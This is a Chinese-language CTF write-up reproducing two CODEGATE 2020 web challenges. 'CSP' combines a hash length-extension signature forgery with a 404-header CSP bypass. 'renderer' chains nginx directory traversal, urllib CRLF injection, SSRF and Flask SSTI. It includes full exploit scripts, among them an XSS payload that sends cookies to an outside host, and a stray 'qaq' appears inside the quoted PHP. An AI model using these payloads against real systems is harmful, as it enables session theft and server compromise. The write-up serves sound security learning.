已经完全变成事后看 writeup 复现型选手了……
CSP
题目直接给了代码
<?php
require_once 'config.php';
if(!isset($_GET["q"]) || !isset($_GET["sig"])) {
die("?");
}
$api_string = base64_decode($_GET["q"]);
$sig = $_GET["sig"];
if(md5($salt.$api_string) !== $sig){
die("??");
}
//APIs Format : name(b64),p1(b64),p2(b64)|name(b64),p1(b64),p2(b64) ...
$apis = explode("|", $api_string);
foreach($apis as $s) {
$info = explode(",", $s);
if(count($info) != 3)
continue;
$n = base64_decode($info[0]);qaq
$p1 = base64_decode($info[1]);
$p2 = base64_decode($info[2]);
if ($n === "header") {
if(strlen($p1) > 10)
continue;
if(strpos($p1.$p2, ":") !== false || strpos($p1.$p2, "-") !== false) //Don't trick...
continue;
header("$p1: $p2");
}
elseif ($n === "cookie") {
setcookie($p1, $p2);
}
elseif ($n === "body") {
if(preg_match("/<.*>/", $p1))
continue;
echo $p1;
echo "\n<br />\n";
}
elseif ($n === "hello") {
echo "Hello, World!\n";
}
}
测试题目功能:
可以看到题目提供了 view.php
来先将 (name,p1,p2)
这样一个三元组 base64 拼接之后再签名,签名完成后会通过一个 iframe 形式加载 api.php
,即将 view.php
的参数 name
\ p1
\ p2
转为 api.php
的参数 q
\ sig
。
此时我们注意到返回的页面存在以下 CSP 规则:
Content-Security-Policy: default-src 'self'; script-src 'none'; base-uri 'none'
很明显本题就是考 CSP 绕过的 XSS 了,相应的 CSP 规则为不允许执行 JavaScript、iframe 等标签也只能在同个源下。考虑到题目同时提供了修改 header 和创建 body 等功能,因此我们的思路非常直接:利用 header
功能来绕过 CSP,同时利用 body 来写入 payload 进行 XSS。
不过由于 view.php 只能提供单一元组 (x,y,z)
的签名,在此之前我们需要通过哈希拓展攻击计算出构造出的 payload 的签名。首先,需要测试出 $salt
变量的长度,编写如下测试脚本,最终发现长度为 12。
import requests
import hashpumpy
import base64
orig_sig = "7f104404b0d414d18ab3efb831e333d7"
orig_data = ",,"
url = "http://110.10.147.166/api.php?sig={}&q={}"
for i in range(1, 32):
result = hashpumpy.hashpump(orig_sig, orig_data, "|Ym9keQ==,YWJj,", i)
sig = result[0]
q = base64.b64encode(result[1]).decode()
url = url.format(sig, q)
res = requests.get(url)
if res.text.find('abc') != -1:
print(i)
break
现在我们的 payload 里能同时囊括 header 和 body 了,下一步就需要考虑绕过 CSP,这里利用 404 页面没有 CSP 规则的限定来进行绕过。具体可以参考这篇文章 CSP unsafe-inline时, 引入外部js ,大意上就是利用服务端对 404 页面的 CSP 规则的疏忽来伪造一个可控的 404 页面最终实现 xss。
下面来具体操作,在 header 里设置 HTTP/1 404
,可以发现返回的页面中不存在令我们头疼的 CSP 规则:
在 CSP 规则不存在的情况下,我们非常简单就可以在 body 处进行 xss,考虑到 waf if(preg_match("/<.*>/", $p1)) continue;
,所以需要利用 html 对不完整标签的支持来绕过。最终 exp 如下:
exp & flag
import requests
import hashpumpy
import base64
orig_sig = "badc953c8e3c164c4be0b6fb3b388834"
orig_data = "aGVhZGVy,SFRUUC8xIDQwNA==,Q1NQ" # (header, HTTP/1 404, CSP)
url = "http://110.10.147.166/api.php?sig={}&q={}"
body = (base64.b64encode(b'body'),base64.b64encode(b'<img src=x onerror="document.location=`http://www.syang.xyz/?flag=`+document.cookie"'),b'')
exp = "|{},{},{}".format(
body[0].decode('utf8'),
body[1].decode('utf8'),
''
)
result = hashpumpy.hashpump(orig_sig, orig_data, exp, 12)
url = url.format(result[0], base64.b64encode(result[1]).decode())
print(url)
res = requests.get(url)
print(res.text)
CODEGATE2020{CSP_m34n5_Content-Success-Policy_n0t_Security}
renderer
题目给了两个文件,分别是 Dockerfile
:
FROM python:2.7.16
ENV FLAG CODEGATE2020{**DELETED**}
RUN apt-get update
RUN apt-get install -y nginx
RUN pip install flask uwsgi
ADD prob_src/src /home/src
ADD settings/nginx-flask.conf /tmp/nginx-flask.conf
ADD prob_src/static /home/static
RUN chmod 777 /home/static
RUN mkdir /home/tickets
RUN chmod 777 /home/tickets
ADD settings/run.sh /home/run.sh
RUN chmod +x /home/run.sh
ADD settings/cleaner.sh /home/cleaner.sh
RUN chmod +x /home/cleaner.sh
CMD ["/bin/bash", "/home/run.sh"]
run.sh
:
#!/bin/bash
service nginx stop
mv /etc/nginx/sites-enabled/default /tmp/
mv /tmp/nginx-flask.conf /etc/nginx/sites-enabled/flask
service nginx restart
uwsgi /home/src/uwsgi.ini &
/bin/bash /home/cleaner.sh &
/bin/bash
题目给出这两个配置的文件主要还是提醒我们注意以下两点:
- python 2.7.16
- nginx + uwsgi
题目功能
可以看到是一个 proxy 题,题目会代替你请求相应的 link 并将结果返回:
nginx 配置不当 - 目录穿越
CTF 中 nginx 相关的常见考点:配置不当导致的目录穿越问题,该问题的具体描述可以参考 phith0n 的 三个案例看Nginx配置安全。这里只需要知道一个结论,当 nginx 存在配置不当的问题时,可能使用 ..
来进行目录穿越。
利用 http://58.229.253.144/static../src/app/init.py 成功获得源码:
from flask import Flask
from app import routes
import os
app = Flask(__name__)
app.url_map.strict_slashes = False
app.register_blueprint(routes.front, url_prefix="/renderer")
app.config["FLAG"] = os.getenv("FLAG", "CODEGATE2020{}")
利用 http://58.229.253.144/static../src/app/routes.py 获得路由,相应文件已经贴到 gist 上了 routes.py
CRLF 注入
测试题目功能,请求 VPS:
Connection from [58.229.253.144] port 8181 [tcp/*] accepted (family 2, sport 46462)
GET / HTTP/1.1
Accept-Encoding: identity
Host: xxx.xxx.xxx:8181
Connection: close
User-Agent: Python-urllib/2.7
发现题目使用的是 urllib 完成请求,搜索 urllib 和 python2.7.16 关键字,搜得 CVE-2019-9947,其影响范围恰好 <= python2.7.16,测试 payload http://vps-ip:port?%0d%0apayload%0d%0apadding
成功,说明 CRLF 注入问题存在。
源码审计
一般而言,python 的考点以 ssti 居多,特别是 flask,因此先注意所有的 render_template
函数:
@front.route("/whatismyip", methods=["GET"])
def ipcheck():
return render_template("ip.html", ip = get_ip(), real_ip = get_real_ip())
def get_ip():
return request.remote_addr
def get_real_ip():
return request.headers.get("X-Forwarded-For") or get_ip()
虽然这里的路由 /whatismyip
可以被 X-Forwarded-For
影响,但实际测试中发现无法触发 ssti 漏洞,因此需要继续审计代码获得漏洞点:
@front.route("/admin/ticket", methods=["GET"])
def admin_ticket():
ip = get_ip()
rip = get_real_ip()
if ip != rip: #proxy doesn't allow to show ticket
print 1
abort(403)
if ip not in ["127.0.0.1", "127.0.0.2"]: #only local
print 2
abort(403)
if request.headers.get("User-Agent") != "AdminBrowser/1.337":
print request.headers.get("User-Agent")
abort(403)
if request.args.get("ticket"):
log = read_log(request.args.get("ticket"))
if not log:
print 4
abort(403)
return render_template_string(log)
这里我们注意到 render_template_string(log)
,变量 log
会被渲染,因此这里很可能存在一个 ssti 漏洞。而如何控制 log
变量?可以看到 log
变量来自 read_log
函数:
def read_log(ticket):
if not (ticket and ticket.isalnum()):
return False
if path.exists("/home/tickets/%s" % ticket):
with open("/home/tickets/%s" % ticket, "r") as f:
return f.read()
else:
return False
而哪里可以写这个文件呢,继续往下看,注意到函数:
@front.route("/admin", methods=["GET"])
def admin_access():
ip = get_ip()
rip = get_real_ip()
if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :)
abort(403)
if ip != rip: #if use proxy
ticket = write_log(rip)
return render_template("admin_remote.html", ticket = ticket)
else:
if ip == "127.0.0.2" and request.args.get("body"):
ticket = write_extend_log(rip, request.args.get("body"))
return render_template("admin_local.html", ticket = ticket)
else:
return render_template("admin_local.html", ticket = None)
当 ip != rip
时存在一次写入机会,可以调用 write_log
并返回相应的 tid
:
def write_log(rip):
tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
with open("/home/tickets/%s" % tid, "w") as f:
log_str = "Admin page accessed from %s" % rip
f.write(log_str)
return tid
由于进入该函数的条件是 ip in ["127.0.0.1", "127.0.0.2"]
,所以我们必须使用 SSRF 来访问该路由,同时,在 SSRF 访问该路由的前提下,仍然需要保持 ip != rip
,因此需要利用 CRLF 注入漏洞来写入 header X-Forwarded-For
。
然后回顾 /admin/ticket
路由的条件,同样是 ip in ["127.0.0.1", "127.0.0.2"]
,因此需要继续 SSRF,其次是 request.headers.get("User-Agent") != "AdminBrowser/1.337"
,因此需要继续 CRLF 注入相应的请求头来覆盖默认的 urllib 请求头,为了构造的合理性,需要如下构造:
url = http://127.0.0.1/renderer/admin/ticket?ticket=c0105720c3cd521aadd35064b24db9699b2bc646 HTTP/1.1%Host: 127.0.0.1\r\nUser-Agent: AdminBrowser/1.337\r\nX-Forwarded-For: 127.0.0.1\r\nConnection: close\r\n\r\nx
思路总结
- 利用 CRLF + SSRF 写入 log 文件,获得 ticket id(CRLF 注入 X-Forwarded-For)
- 利用 CRLF + SSRF 访问
/admin/ticket
触发 ssti 漏洞 (CRLF 注入 User-Agent)
exp
通过之前的源码,我们可以知道利用 ssti 访问 config
变量即可获得 flag:
import requests
url = 'http://58.229.253.144/renderer/'
payload1 = '''http://127.0.0.1/renderer/admin HTTP/1.1\r\nX-Forwarded-For: {}\r\n'''
payload2 = '''http://127.0.0.1/renderer/admin/ticket?ticket={} HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent: AdminBrowser/1.337\r\nX-Forwarded-For: 127.0.0.1\r\naaa'''
ssti_payload = '{{ config }}'
data = {
'url': payload1.format(ssti_payload)
}
r = requests.post(url=url, data=data)
ticket = r.content[1652:1692]
data = {
'url': payload2.format(ticket)
}
r = requests.post(url=url, data=data)
print(r.content)
最后成功获得 FLAG:CODEGATE2020{CrLfMakesLocalGreatAgain}
后记
太菜了,基本就靠飘零师傅那边的思路来回顾题目了……